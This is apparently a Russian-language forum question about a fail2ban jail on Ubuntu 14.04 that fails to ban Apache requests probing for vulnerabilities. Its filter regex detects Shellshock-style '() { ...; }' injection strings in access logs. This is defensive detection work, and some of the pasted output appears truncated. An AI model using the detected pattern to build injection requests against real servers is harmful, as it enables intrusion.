Правила fail2ban не вступают в силу

Я установил веб-сервер Apache на стандартную установку Ubuntu 14.04 и пытаюсь использовать fail2ban для блокировки запросов, проверяющих уязвимости.

Я добавил следующее /etc/fail2ban/jail.local:

[apache-vulnerability-scan]

enabled  = true
port     = http,https
filter   = apache-vulnerability-scan
logpath  = /var/log/apache*/*access.log
maxretry = 1

Определение правила находится в /etc/fail2ban/filter.d/apache-vulnerability-scan.conf:

[Definition]

failregex = ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$

ignoreregex =

Для тех, кто, возможно, не знаком с правилами Ubuntu по умолчанию для fail2ban, некоторые из основных правил показаны ниже:

ignoreip = 127.0.0.1/8
bantime  = 600
findtime = 600
maxretry = 3
backend = auto
usedns = warn
protocol = tcp
chain = INPUT

Тем не менее, я могу делать запросы без fail2ban, блокируя мой IP, хотя maxretry установлен на 1.

Состояние фильтра вроде в порядке:

# fail2ban-client status apache-vulnerability-scan
Status for the jail: apache-vulnerability-scan
|- filter
|  |- File list:        /var/log/apache2/other_vhosts_access.log /var/log/apache

|  `- Total failed:     0
`- action
   |- Currently banned: 0
   |  `- IP list:
   `- Total banned:     0

Как кажется, само правило:

Running tests
=============

Use   failregex file : /etc/fail2ban/filter.d/apache-vulnerability-scan.conf
Use         log file : /var/log/apache2/access.log

Почему правила fail2ban не вступают в силу? Что я здесь делаю не так?
